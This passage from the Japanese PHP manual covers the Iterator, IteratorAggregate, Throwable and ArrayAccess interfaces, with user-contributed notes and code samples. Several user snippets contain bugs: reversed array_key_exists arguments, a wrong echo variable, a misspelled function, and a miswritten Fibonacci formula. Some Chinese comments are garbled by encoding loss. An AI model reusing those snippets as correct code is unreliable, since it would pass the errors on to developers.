the row index (based on a simple counter that you provide), or can simply return null.

Iterators can also be used to:

* iterate over the lines of a file or rows of a CSV file
* iterate over the characters of a string
* iterate over the tokens in an input stream
* iterate over the matches returned by an xpath expression
* iterate over the matches returned by a regexp
* iterate over the files in a folder
* etc...
Anthony Sterling 17-Sep-2009 02:20
Here's a Fibonacci example using the formula, rather than addition.

<?php
/**
 * @author    Anthony Sterling
 */
class FibonacciSequence implements Iterator
{
    protected
        $limit        = 0;

    protected
        $key        = 0;

    public function __construct($limit = 0)
    {
        $this->limit = (integer)$limit;
    }

    public function current()
    {
        return round(
            (pow(((1 + sqrt(5)) / 2), $this->key) - pow((-1 / (1 + sqrt(5)) / 2), $this->key)) / sqrt(5),
            null
        );
    }

    public function key()
    {
        return $this->key;
    }

    public function next()
    {
        $this->key++;
    }

    public function rewind()
    {
        $this->key = 0;
    }

    public function valid()
    {
        return $this->key < $this->limit;
    }
}

foreach(new FibonacciSequence() as $number)
{
    printf(
        '%d<br />',
        $number
    );
}
/*
    0
    1
    1
    2
    3
    5
    8
    13
    21
    34
    55
    89
    144
    233
    377
    610
    987
    1597
    2584
    4181
    6765
    10946
    17711
    28657
    46368
    75025
    121393
    196418
    317811
    514229
*/
?>

Anthony.
Geoffrey Sneddon 23-May-2009 10:42
So, playing around with iterators in PHP (coming from languages where I'm spoiled with generators to do things like this), I wrote a quick piece of code to give the Fibonacci sequence (to infinity, though only the first terms up to F_{10} are output).

<?php

class Fibonacci implements Iterator {
    private $previous = 1;
    private $current = 0;
    private $key = 0;

    public function current() {
        return $this->current;
    }

    public function key() {
        return $this->key;
    }

    public function next() {
        $newprevious = $this->current;
        $this->current += $this->previous;
        $this->previous = $newprevious;
        $this->key++;
    }

    public function rewind() {
        $this->previous = 1;
        $this->current = 0;
        $this->key = 0;
    }

    public function valid() {
        return true;
    }
}

$seq = new Fibonacci;
$i = 0;
foreach ($seq as $f) {
    echo "$f\n";
    if ($i++ === 10) break;
}
?>
RocketInABog at techno-monks dot net 11-May-2009 04:35
<?php
# - Here is an implementation of the Iterator interface for arrays
#     which works with maps (key/value pairs)
#     as well as traditional arrays
#     (contiguous monotonically increasing indexes).
#   Though it pretty much does what an array
#     would normally do within foreach() loops,
#     this class may be useful for using arrays
#     with code that generically/only supports the
#     Iterator interface.
#  Another use of this class is to simply provide
#     object methods with tightly controlling iteration of arrays.

class tIterator_array implements Iterator {
  private $myArray;

  public function __construct( $givenArray ) {
    $this->myArray = $givenArray;
  }
  function rewind() {
    return reset($this->myArray);
  }
  function current() {
    return current($this->myArray);
  }
  function key() {
    return key($this->myArray);
  }
  function next() {
    return next($this->myArray);
  }
  function valid() {
    return key($this->myArray) !== null;
  }
}

?>
mike dot thornton at firstroi dot com 05-May-2009 01:40
It's important to note that following won't work if you have null values.

<?php
    function valid() {
        var_dump(__METHOD__);
        return isset($this->array[$this->position]);
    }
?>

Other examples have shown the following which won't work if you have false values:

<?php
    function valid() {
        return $this->current() !== false;
    }
?>

Instead use:

<?php
    function valid() {
        return array_key_exists($this->array, $this->position);
    }
?>

Or the following if you do not store the position.

<?php
    public function valid() {
        return !is_null(key($this->array));
    }
?>


現在の要素を返す

  • ≪ Iterator
  • Iterator::key ≫
  • PHP Manual
  • Iterator
  • 現在の要素を返す

Iterator::current

(PHP 5, PHP 7, PHP 8)

Iterator::current — 現在の要素を返す

説明

abstract public Iterator::current ( ) : mixed

現在の要素を返します。

パラメータ

この関数にはパラメータはありません。

返り値

あらゆる型を返すことが可能です。

User Contributed Notes

There are no user contributed notes for this page.


現在の要素のキーを返す

  • ≪ Iterator::current
  • Iterator::next ≫
  • PHP Manual
  • Iterator
  • 現在の要素のキーを返す

Iterator::key

(PHP 5, PHP 7, PHP 8)

Iterator::key — 現在の要素のキーを返す

説明

abstract public Iterator::key ( ) : scalar

現在の要素のキーを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合にスカラー型、失敗した場合に null を返します。

エラー / 例外

失敗した場合に E_NOTICE を発行します。

User Contributed Notes

sofe2038 at gmail dot com 26-Aug-2020 04:26
This function may return any type, not just scalar, for some Iterator types. In particular, it is very trivial to write a generator function that yields arbitrary keys:

<?php
function foo() {
  yield null => 1;
  yield new stdclass => 2;
}
?>
michaelgranados at gmail dot com 26-Jun-2013 03:46
Since PHP 5.5.X foreach can accept non scalar items. So the return can be anything ;)
Lszl Lajos Jnszky 14-Mar-2012 12:34
And converts everything to integer except string, so in php the post process could be:

    public function key() {
        $yourKey = $this->createYourKey();
        if (is_object($yourKey) || is_array($yourKey))
            throw new Exception('Array and Object not allowed.');
        elseif (is_string($yourKey))
            return $yourKey;
        else
            return (int) $yourKey;
    }


次の要素に進む

  • ≪ Iterator::key
  • Iterator::rewind ≫
  • PHP Manual
  • Iterator
  • 次の要素に進む

Iterator::next

(PHP 5, PHP 7, PHP 8)

Iterator::next — 次の要素に進む

説明

abstract public Iterator::next ( ) : void

現在位置を次の要素に移動します。

注意:

このメソッドは、各 foreach ループの 後 にコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

返り値は無視されます。

User Contributed Notes

There are no user contributed notes for this page.


イテレータの最初の要素に巻き戻す

  • ≪ Iterator::next
  • Iterator::valid ≫
  • PHP Manual
  • Iterator
  • イテレータの最初の要素に巻き戻す

Iterator::rewind

(PHP 5, PHP 7, PHP 8)

Iterator::rewind — イテレータの最初の要素に巻き戻す

説明

abstract public Iterator::rewind ( ) : void

イテレータの最初の要素に巻き戻します。

注意:

これは、foreach ループの開始時に 最初 にコールされるメソッドです。 foreach ループの 後 には実行 されません。

パラメータ

この関数にはパラメータはありません。

返り値

返り値は無視されます。

User Contributed Notes

al 24-Feb-2016 03:56
Builtin PHP function is ≫reset≪.

Don't mix this with builtin function ≫rewind≪ which operates on file handle.


現在位置が有効かどうかを調べる

  • ≪ Iterator::rewind
  • IteratorAggregate ≫
  • PHP Manual
  • Iterator
  • 現在位置が有効かどうかを調べる

Iterator::valid

(PHP 5, PHP 7, PHP 8)

Iterator::valid — 現在位置が有効かどうかを調べる

説明

abstract public Iterator::valid ( ) : bool

このメソッドは Iterator::rewind() および Iterator::next() の後にコールされ、 現在の位置が有効化どうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

返り値は bool にキャストして評価されます。 成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Voitcus at gmail dot com 23-Mar-2013 09:08
If your class implements also ArrayAccess interface, you could use as valid() body

function valid(){
   return $this->offsetExists($this->position);
}
seva dot lapsha at gmail dot com 01-Aug-2009 06:19
If Iterator::valid() returns false, the foreach() loop will be terminated.


IteratorAggregate インターフェイス

(PHP 5, PHP 7, PHP 8)

はじめに

外部イテレータを作成するためのインターフェイスです。

インターフェイス概要

IteratorAggregate extends Traversable {
/* メソッド */
abstract public getIterator ( ) : Traversable
}

例1 基本的な例

<?php
class myData implements IteratorAggregate {
    public $property1 = "Public property one";
    public $property2 = "Public property two";
    public $property3 = "Public property three";

    public function __construct() {
        $this->property4 = "last property";
    }

    public function getIterator() {
        return new ArrayIterator($this);
    }
}

$obj = new myData;

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

string(9) "property1"
string(19) "Public property one"

string(9) "property2"
string(19) "Public property two"

string(9) "property3"
string(21) "Public property three"

string(9) "property4"
string(13) "last property"

目次

  • IteratorAggregate::getIterator — 外部イテレータを取得する

User Contributed Notes

Martin Speer 04-Apr-2019 08:40
You can use yield from in getIterator in recent PHP 7 versions:

<?php

class Example implements \IteratorAggregate
{
  protected $data = [];

  public function __construct(array $data)
  {
    $this->data = $data;
  }

  public function getIterator()
  {
    yield from $this->data;
  }
}

$test = new Example([1, 2, 3]);

foreach ($test as $node) {
  echo $test, PHP_EOL;
}

/*
 * Outputs:
 *
 * 1
 * 2
 * 3
 */ ?>
trumbull dot j at gmail dot com 14-May-2017 12:42
It might seem obvious, but you can return a compiled generator from your IteratorAggregate::getIterator() implementation.

<?php
class Collection implements IteratorAggregate
{
    private $items = [];

    public function __construct($items = [])
    {
        $this->items = $items;
    }

    public function getIterator()
    {
        return (function () {
            while(list($key, $val) = each($this->items)) {
                yield $key => $val;
            }
        })();
    }
}

$data = [ 'A', 'B', 'C', 'D' ];
$collection = new Collection($data);

foreach ($collection as $key => $val) {
    echo sprintf("[%s] => %s\n", $key, $val);
}
?>
ribeirocfb at gmail dot com 24-Aug-2015 11:21
Example of the Iterator Pattern

<?php

namespace DesignPaterns;

class BookCollection implements \IteratorAggregate
{
    private $a_titles = array();

    public function getIterator()
    {
        return new BookIterator($this);
    }

    public function addTitle($string)
    {
        $this->a_titles[] = $string;
    }

    public function getTitle($key)
    {
        if (isset($this->a_titles[$key])){
            return $this->a_titles[$key];
        }
        return null;
    }

    public function is_empty()
    {
        return empty($a_titles);
    }
}

<?php

namespace DesignPaterns;

class BookIterator implements \Iterator
{
    private $i_position = 0;
    private $booksCollection;

    public function __construct(BookCollection $booksCollection)
    {
        $this->booksCollection = $booksCollection;
    }

    public function current()
    {
        return $this->booksCollection->getTitle($this->i_position);
    }

    public function key()
    {
        return $this->i_position;
    }

    public function next()
    {
        $this->i_position++;
    }

    public function rewind()
    {
        $this->i_position = 0;
    }

    public function valid()
    {
        return !is_null($this->booksCollection->getTitle($this->i_position));
    }
}

<?php require 'vendor/autoload.php';

use DesignPaterns\BookCollection;

$booksCollection = new BookCollection();
$booksCollection->addTitle('Design Patterns');
$booksCollection->addTitle('PHP7 is the best');
$booksCollection->addTitle('Laravel Rules');
$booksCollection->addTitle('DHH Rules');

foreach($booksCollection as $book){
    var_dump($book);
}

/* === Output ===
 * string(15) "Design Patterns"
 * string(16) "PHP7 is the best"
 * string(13) "Laravel Rules"
 * string(9) "DHH Rules"
*/
Lubaev.K 16-Jun-2013 11:49
<?php
// IteratorAggregate
// Create indexed and associative arrays.

class myData implements IteratorAggregate {

    private $array = [];
    const TYPE_INDEXED = 1;
    const TYPE_ASSOCIATIVE = 2;

    public function __construct( array $data, $type = self::TYPE_INDEXED ) {
        reset($data);
        while( list($k, $v) = each($data) ) {
            $type == self::TYPE_INDEXED ?
            $this->array[] = $v :
            $this->array[$k] = $v;
        }
    }

    public function getIterator() {
        return new ArrayIterator($this->array);
    }

}

$obj = new myData(['one'=>'php','javascript','three'=>'c#','java',], /*TYPE 1 or 2*/ );

foreach($obj as $key => $value) {
    var_dump($key, $value);
    echo PHP_EOL;
}

// if TYPE == 1
#int(0)
#string(3) "php"
#int(1)
#string(10) "javascript"
#int(2)
#string(2) "c#"
#int(3)
#string(4) "java"

// if TYPE == 2
#string(3) "one"
#string(3) "php"
#int(0)
#string(10) "javascript"
#string(5) "three"
#string(2) "c#"
#int(1)
#string(4) "java"
?>

Good luck!
Tab Atkins 29-Apr-2012 02:11
Note that, at least as of 5.3, you still aren't allowed to return a normal Array from getIterator().

In some places, the docs wrap the array into an ArrayObject and return that.  DON'T DO IT.  ArrayObject drops any empty-string keys on the floor when you iterate over it (again, at least as of 5.3).

Use ArrayIterator instead.  I wouldn't be surprised if it didn't have its own set of wonderful bugs, but at the very least it works correctly when you use it with this method.


外部イテレータを取得する

  • ≪ IteratorAggregate
  • Throwable ≫
  • PHP Manual
  • IteratorAggregate
  • 外部イテレータを取得する

IteratorAggregate::getIterator

(PHP 5, PHP 7, PHP 8)

IteratorAggregate::getIterator — 外部イテレータを取得する

説明

abstract public IteratorAggregate::getIterator ( ) : Traversable

外部イテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Iterator あるいは Traversable を実装したオブジェクトのインスタンスを返します。

エラー / 例外

失敗した場合は Exception をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Throwable

(PHP 7, PHP 8)

はじめに

Throwable は、throw 文でスロー可能なあらゆるオブジェクトが実装する基底インターフェイスです。 Error や Exception も、これを実装しています。

注意:

PHP のクラスが Throwable インターフェイスを直接実装することはできません。 そのかわりに、Exception を継承する必要があります。

インターフェイス概要

Throwable {
/* メソッド */
abstract public getMessage ( ) : string
abstract public getCode ( ) : int
abstract public getFile ( ) : string
abstract public getLine ( ) : int
abstract public getTrace ( ) : array
abstract public getTraceAsString ( ) : string
abstract public getPrevious ( ) : Throwable
abstract public __toString ( ) : string
}

目次

  • Throwable::getMessage — メッセージを取得する
  • Throwable::getCode — 例外コードを取得する
  • Throwable::getFile — オブジェクトが作られたファイル名を取得する
  • Throwable::getLine — オブジェクトのインスタンスが作られた行番号を取得する
  • Throwable::getTrace — スタックトレースを取得する
  • Throwable::getTraceAsString — スタックトレースを文字列として取得する
  • Throwable::getPrevious — ひとつ前の Throwable を返す
  • Throwable::__toString — スローされたオブジェクトの文字列表現を取得する

User Contributed Notes

thisbug at foxmail dot com 13-Jan-2020 02:57
try {
// Code that may throw an Exception or Error.
} catch (Throwable $t) {
// Executed only in PHP 7, will not match in PHP 5.x
} catch (Exception $e) {
// Executed only in PHP 5.x, will not be reached in PHP 7
}

interface MyPackageThrowable extends Throwable {}

class MyPackageException extends Exception implements MyPackageThrowable {}

throw new MyPackageException();
mlocati at gmail dot com 09-Mar-2017 10:59
I wrote a simple script that prints out the Throwable and Exception tree for every PHP version.

You can find this script here:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a

And its output is here:
https://3v4l.org/sDMsv


メッセージを取得する

  • ≪ Throwable
  • Throwable::getCode ≫
  • PHP Manual
  • Throwable
  • メッセージを取得する

Throwable::getMessage

(PHP 7, PHP 8)

Throwable::getMessage — メッセージを取得する

説明

abstract public Throwable::getMessage ( ) : string

スローされたオブジェクトに関連づけられたメッセージを返します。

パラメータ

この関数にはパラメータはありません。

返り値

スローされたオブジェクトに関連づけられたメッセージを返します。

参考

  • Exception::getMessage() - 例外メッセージを取得する

User Contributed Notes

lavaniapankaj at gmail dot com 14-Aug-2019 04:27
try
{
    functionnotexists();
}
catch (Throwable $e)
{
    /* Print error message. */
    pprint_r($e->getMessage());
}


例外コードを取得する

  • ≪ Throwable::getMessage
  • Throwable::getFile ≫
  • PHP Manual
  • Throwable
  • 例外コードを取得する

Throwable::getCode

(PHP 7, PHP 8)

Throwable::getCode — 例外コードを取得する

説明

abstract public Throwable::getCode ( ) : int

スローされたオブジェクトのエラーコードを返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外コードを返します。 Exception の場合は int ですが、 その派生クラスでは別の型かもしれません (たとえば PDOException の場合は string です)。

参考

  • Exception::getCode() - 例外コードを取得する

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトが作られたファイル名を取得する

  • ≪ Throwable::getCode
  • Throwable::getLine ≫
  • PHP Manual
  • Throwable
  • オブジェクトが作られたファイル名を取得する

Throwable::getFile

(PHP 7, PHP 8)

Throwable::getFile — オブジェクトが作られたファイル名を取得する

説明

abstract public Throwable::getFile ( ) : string

スローされたオブジェクトが作られたファイル名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

スローされたオブジェクトが作られたファイル名を返します。

参考

  • Exception::getFile() - 例外が作られたファイルを取得する

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトのインスタンスが作られた行番号を取得する

  • ≪ Throwable::getFile
  • Throwable::getTrace ≫
  • PHP Manual
  • Throwable
  • オブジェクトのインスタンスが作られた行番号を取得する

Throwable::getLine

(PHP 7, PHP 8)

Throwable::getLine — オブジェクトのインスタンスが作られた行番号を取得する

説明

abstract public Throwable::getLine ( ) : int

スローされたオブジェクトのインスタンスが作られた行番号を返します。

パラメータ

この関数にはパラメータはありません。

返り値

スローされたオブジェクトのインスタンスが作られた行番号を返します。

参考

  • Exception::getLine() - 例外が作られた行を取得する

User Contributed Notes

There are no user contributed notes for this page.


スタックトレースを取得する

  • ≪ Throwable::getLine
  • Throwable::getTraceAsString ≫
  • PHP Manual
  • Throwable
  • スタックトレースを取得する

Throwable::getTrace

(PHP 7, PHP 8)

Throwable::getTrace — スタックトレースを取得する

説明

abstract public Throwable::getTrace ( ) : array

スタックトレースの配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

スタックトレースの配列を返します。その書式は debug_backtrace() と同じです。

参考

  • Exception::getTrace() - スタックトレースを取得する

User Contributed Notes

There are no user contributed notes for this page.


スタックトレースを文字列として取得する

  • ≪ Throwable::getTrace
  • Throwable::getPrevious ≫
  • PHP Manual
  • Throwable
  • スタックトレースを文字列として取得する

Throwable::getTraceAsString

(PHP 7, PHP 8)

Throwable::getTraceAsString — スタックトレースを文字列として取得する

説明

abstract public Throwable::getTraceAsString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

スタックトレースを文字列として返します。

参考

  • Exception::getTraceAsString() - スタックトレースを文字列で取得する

User Contributed Notes

There are no user contributed notes for this page.


ひとつ前の Throwable を返す

  • ≪ Throwable::getTraceAsString
  • Throwable::__toString ≫
  • PHP Manual
  • Throwable
  • ひとつ前の Throwable を返す

Throwable::getPrevious

(PHP 7, PHP 8)

Throwable::getPrevious — ひとつ前の Throwable を返す

説明

abstract public Throwable::getPrevious ( ) : Throwable

ひとつ前の Throwable (たとえば Exception::__construct() の第三パラメータで指定したもの) を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ひとつ前の Throwable が存在すればそれを返します。 存在しない場合は null を返します。

参考

  • Exception::getPrevious() - 前の例外を返す

User Contributed Notes

harry at upmind dot com 10-Nov-2018 03:05
/**
     * Gets sequential array of all previously-chained errors
     *
     * @param Throwable $error
     *
     * @return Throwable[]
     */
    function getChain(Throwable $error) : array
    {
        $chain = [];

        do {
            $chain[] = $error;
        } while ($error = $error->getPrevious());

        return $chain;
    }


スローされたオブジェクトの文字列表現を取得する

  • ≪ Throwable::getPrevious
  • ArrayAccess ≫
  • PHP Manual
  • Throwable
  • スローされたオブジェクトの文字列表現を取得する

Throwable::__toString

(PHP 7, PHP 8)

Throwable::__toString — スローされたオブジェクトの文字列表現を取得する

説明

abstract public Throwable::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

スローされたオブジェクトの文字列表現を返します。

参考

  • Exception::__toString() - 例外の文字列表現

User Contributed Notes

There are no user contributed notes for this page.


ArrayAccess インターフェイス

(PHP 5, PHP 7, PHP 8)

はじめに

配列としてオブジェクトにアクセスするための機能のインターフェイスです。

インターフェイス概要

ArrayAccess {
/* メソッド */
abstract public offsetExists ( mixed $offset ) : bool
abstract public offsetGet ( mixed $offset ) : mixed
abstract public offsetSet ( mixed $offset , mixed $value ) : void
abstract public offsetUnset ( mixed $offset ) : void
}

例1 基本的な使用法

<?php
class Obj implements ArrayAccess {
    private $container = array();

    public function __construct() {
        $this->container = array(
            "one"   => 1,
            "two"   => 2,
            "three" => 3,
        );
    }

    public function offsetSet($offset, $value) {
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    public function offsetExists($offset) {
        return isset($this->container[$offset]);
    }

    public function offsetUnset($offset) {
        unset($this->container[$offset]);
    }

    public function offsetGet($offset) {
        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }
}

$obj = new Obj;

var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
    [container:obj:private] => Array
        (
            [one] => 1
            [three] => 3
            [two] => A value
            [0] => Append 1
            [1] => Append 2
            [2] => Append 3
        )

)

目次

  • ArrayAccess::offsetExists — オフセットが存在するかどうか
  • ArrayAccess::offsetGet — オフセットを取得する
  • ArrayAccess::offsetSet — 指定したオフセットに値を設定する
  • ArrayAccess::offsetUnset — オフセットの設定を解除する

User Contributed Notes

msherazjaved at gmail dot com 01-Jul-2019 04:53
An experimental check addition to the findings of Per (on offsetExists method) added here (8 years ago).

<?php
class obj implements ArrayAccess {
    private $container = array();

    public function __construct() {
        $this->container = array(
            "one"   => 1,
            "two"   => 2,
            "three" => 3,
        );
    }

    public function offsetSet($offset, $value) {
        print "offsetSet method Triggered";

        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    public function offsetExists($offset) {
        print "offsetExists method Triggered";

        return isset($this->container[$offset]);
    }

    public function offsetUnset($offset) {
        print "offsetUnset method Triggered";

        unset($this->container[$offset]);
    }

    public function offsetGet($offset) {
        print "offsetGet method Triggered";

        return isset($this->container[$offset]) ? $this->container[$offset] : null;
    }
}

$obj = new obj;

## Assigning a Value
$obj['two'] = '2';    // Output: offsetSet method Triggered

## Checking if array offset already set
isset($obj['two']);   // Output : offsetExists method Triggered

## Unsetting array value on the offset 'two'
unset($obj['two']);   // Output : offsetUnset method Triggered

## Accessing array value at offset 'two'
return $obj['two'];   // Output : offsetGet method Triggered

?>
Taliesin Nuin public at taliesinnuin dot net 04-Mar-2019 09:41
You might be wondering whether implementing an ArrayAccess interface makes the class iterable. It is, after all, an "array". The answer is no, it doesn't. Additionally there are a couple of subtle gotchas if you add both and want it to be an associate array. The below is a class that has both ArrayAccess AND Iterator interfaces. And Countable as well just to be complete.

<?php
//This uses return types which are only valid in PHP 7. They can be removed if you are forced to use an older version of PHP.
//N.b. The offsetSet method contains a function that is only valid from PHP 7.3 onwards.

class HandyClass implements ArrayAccess, Iterator, Countable {

  private $container = array(); //An Array of your actual values.
  private $keys = array();      //We use a separate array of keys rather than $this->position directly so that we can
  private $position;            //have an associative array.

  public function __construct() {
    $position = 0;

    $this->container = array(   //Arbitrary array for demo. You probably want to set this to empty in practice or
      "a"   => 1,               //get it from somewhere else, e.g. passing it into the constructor.
      "b"   => 2,
      "c"   => 3,
    );
    $this->keys = array_keys($this->container);
  }

  public function count() : int { //This is necessary for the Countable interface. It could as easily return
    return count($this->keys);    //count($this->container). The number of elements will be the same.
  }

  public function rewind() {  //Necessary for the Iterator interface. $this->position shows where we are in our list of
    $this->position = 0;      //keys. Remember we want everything done via $this->keys to handle associative arrays.
  }

  public function current() { //Necessary for the Iterator interface.
    return $this->container[$this->keys[$this->position]];
  }

  public function key() { //Necessary for the Iterator interface.
    return $this->keys[$this->position];
  }

  public function next() { //Necessary for the Iterator interface.
    ++$this->position;
  }

  public function valid() { //Necessary for the Iterator interface.
    return isset($this->keys[$this->position]);
  }

  public function offsetSet($offset, $value) { //Necessary for the ArrayAccess interface.
    if(is_null($offset)) {
      $this->container[] = $value;
      $this->keys[] = array_key_last($this->container); //THIS IS ONLY VALID FROM php 7.3 ONWARDS. See note below for alternative.
    } else {
      $this->container[$offset] = $value;
      if(!in_array($offset, $this->keys)) $this->keys[] = $offset;
    }
  }

  public function offsetExists($offset) {
    return isset($this->container[$offset]);
  }

  public function offsetUnset($offset) {
    unset($this->container[$offset]);
    unset($this->keys[array_search($offset,$this->keys)]);
    $this->keys = array_values($this->keys);  //This line re-indexes the array of container keys because if someone
  }                                           //deletes the first element, the rewind to position 0 when iterating would
                                              //cause no element to be found.
  public function offsetGet($offset) {
    return isset($this->container[$offset]) ? $this->container[$offset] : null;
  }
}
?>

Example usages:

<?php
$myClass = new HandyClass();
echo('Number of elements: ' . count($myClass) . "\n\n");

echo("Foreach through the built in test elements:\n");
foreach($myClass as $key => $value) {
  echo("$value\n");
}
echo("\n");

$myClass['d'] = 4;
$myClass['e'] = 5;
echo('Number of elements after adding two: ' . count($myClass) . "\n\n");

unset($myClass['a']);
echo('Number of elements after removing one: ' . count($myClass) . "\n\n");

echo("Accessing an element directly:\n");
echo($myClass['b'] . "\n\n");

$myClass['b'] = 5;
echo("Foreach after changing an element:\n");
foreach($myClass as $key => $value) {
  echo("$value\n");
}
echo("\n");
?>
ProgMiner 10-Jan-2018 08:07
Maybe it help anyone, if you do
<?php
$arrayAccessObject[] = 'foo';
?>
PHP give you an empty string as $offset to offsetSet($offset, $value) method.
headplan at gmail dot com 14-Nov-2017 09:06
整理前面各位大仙的解决方法.
<?php

namespace InterfaceTest;

use ArrayAccess;

class TestArrayAccess implements ArrayAccess
{
    # 存?数据
    private $data = [];

    /**
     * 以?象的方式??数?中的数据
     *
     * @param $key
     * @return mixed
     */
    public function __get($key)
    {
        return $this->data[$key];
    }

    /**
     * 以?象方式添加一个数?元素
     *
     * @param $key
     * @param $val
     */
    public function __set($key, $val)
    {
        $this->data[$key] = $val;
    }

    /**
     * 以?象方式判断数?元素是否?置
     *
     * @param $key
     * @return bool
     */
    public function __isset($key)
    {
        return isset($this->data[$key]);
    }

    /**
     * 以?象方式?除一个数?元素
     *
     * @param $key
     */
    public function __unset($key)
    {
        unset($this->data[$key]);
    }

    /**
     * @param mixed $offset
     * @return mixed|null
     */
    public function offsetGet($offset)
    {
        return $this->offsetExists($offset) ? $this->data[$offset] : null;
    }

    /**
     * @param mixed $offset
     * @param mixed $value
     */
    public function offsetSet($offset, $value)
    {
        if (is_null($offset)) {
            $this->data[] = $value;
        } else {
            $this->data[$offset] = $value;
        }
    }

    /**
     * @param mixed $offset
     * @return bool
     */
    public function offsetExists($offset)
    {
        return isset($this->data[$offset]);
    }

    /**
     * @param mixed $offset
     */
    public function offsetUnset($offset)
    {
        if ($this->offsetExists($offset)) {
            unset($this->data[$offset]);
        }
    }

    /**
     * @return array
     */
    public function &__invoke()
    {
        return $this->data;
    }
}

$testArrayAccess = new \InterfaceTest\TestArrayAccess();

$testArrayAccess['one'] = '小明';
$testArrayAccess->two = '小?';
$testArrayAccess['three'] = '邪皇';
$testArrayAccess->four = '魔伶'; # ?用ArrayAndObjectAccess::__set
$testArrayAccess['five'] = '天尊'; # ?用ArrayAndObjectAccess::offsetSet

var_dump(isset($testArrayAccess->one)); # ?用ArrayAndObjectAccess::__isset
unset($testArrayAccess->two); # ?用ArrayAndObjectAccess::__unset

var_dump($testArrayAccess->one); # ?用ArrayAndObjectAccess::__get
var_dump($testArrayAccess->three);
var_dump($testArrayAccess->four);
var_dump($testArrayAccess->five);

var_dump(isset($testArrayAccess['one'])); # ?用ArrayAndObjectAccess::offsetExists
unset($testArrayAccess['two']); # ?用ArrayAndObjectAccess::offsetUnset

var_dump($testArrayAccess['one']); # ?用ArrayAndObjectAccess::offsetGet
var_dump($testArrayAccess['three']);
var_dump($testArrayAccess['four']);
var_dump($testArrayAccess['five']);

var_dump($testArrayAccess);
var_dump($testArrayAccess());
var_dump(array_values($testArrayAccess()));
$var = 'hi';
$testArrayAccess['a'] = $var;
$testArrayAccess()['b'] = &$var;
$var = 'baby';
array_push($testArrayAccess(),'test'); # int array_push ( array &$array , mixed $value1 [, mixed $... ] )
var_dump($testArrayAccess);
var_dump(reset($testArrayAccess())); # mixed reset ( array &$array )
var_dump(array_key_exists('five',$testArrayAccess()));
Soaku 01-Sep-2017 04:01
When working in namespaces ALWAYS remember to prefix the ArrayAccess name with \. It will think you mean an undefined interface.

This is a bit weird, because this interface *could* be global - You cannot define a class or interface with this name, even in a namespace.

Hope it helps someone.
igorsantos07 at gibberish dot gmail dot com 24-Jun-2017 07:48
Building on comments about incompatibility between plain arrays and ArrayAccess objects, many (most?) of the array_* methods won't work with ArrayAccess objects.
Simple calls such as sizeof() work, but array_values() will throw an error, for instance.

Don't expect much magic when implementing this.
Aussie Bags 12-May-2017 10:57
Although $offset can be anything, a string that looks like an integer is cast to integer before the call to any of the methods.

$x[1]  offset is integer 1
$x['1'] offset is integer 1
$x['1.'] offset is string '1.'
jordistc at gmail dot com 31-Jul-2016 11:07
You can use the array functions on a object of a class that implements ArrayAccess using the __invoke magic method in this way:

<?php
class ArrayVar implements ArrayAccess
{
    private $data = [];

    public function __invoke()
    {
        return $this->data;
    }
}
?>

Now you can use it in this way:
<?php
    $arrayar = new ArrayVar();
    $arrayar['one'] = 'primer';
    $arrayar['two'] = 'segon';
    $arrayar['three'] = 'tercer';

    $keys = array_keys($arrayar());
    var_dump($keys);
    // array (size=3)
    //    0 => string 'one'
    //    1 => string 'two'
    //    2 => string 'three'

    $diff = array_diff($arrayar(), [ 'two' => 'segon']);
    var_dump($diff);
    // array (size=2)
    //    'one' => string 'primer'
    //    'three' => string 'tercer'
?>
luc at s dot illi dot be 28-May-2016 09:51
Note, that the ArrayAccess class is not limited to scalar keys:

<?php
class A implements ArrayAccess
{
    function offsetSet($a, $b)
    {
        var_dump(func_get_args());
    }

    function offsetGet($a)
    {
        var_dump(func_get_args());
    }

    function offsetExists($a)
    {
        var_dump(func_get_args());
    }

    function offsetUnset($a)
    {
        var_dump(func_get_args());
    }
}

class B{}
class C{}

$A = new A;
$A[[1,2,3]] = [4,5,6];
$A[new B] = new C;

/*
array(2) {
  [0]=>
  array(3) {
    [0]=>
    int(1)
    [1]=>
    int(2)
    [2]=>
    int(3)
  }
  [1]=>
  array(3) {
    [0]=>
    int(4)
    [1]=>
    int(5)
    [2]=>
    int(6)
  }
}
array(2) {
  [0]=>
  object(web\B)#3 (0) {
  }
  [1]=>
  object(web\C)#4 (0) {
  }
}
*/
?>
nick at little-apps dot com 20-Apr-2016 10:22
A class that implements ArrayAccess will not work with array_push

For example:

<?php
class TestArrayAccess implements ArrayAccess {
    private $container = array();

    // ArrayAccess methods
}

$obj = new TestArrayAccess();

array_push($obj, 'Hello World!'); // Nothing will be added
?>

One way of being able to use array_push would be by adding a toArray() method (note the return value is a reference).

<?php
class TestArrayAccess implements ArrayAccess {
    private $container = array();

    // ArrayAccess methods

    public function &toArray() {
        return $this->container;
     }
}

$obj = new TestArrayAccess();

array_push($obj->toArray(), 'Hello World!'); // Will now be added to array
?>
kaRemovTihsjouni at gmAndTihsaildot com 30-Jun-2015 03:03
reset() method may not work as you expect with ArrayAccess objects.

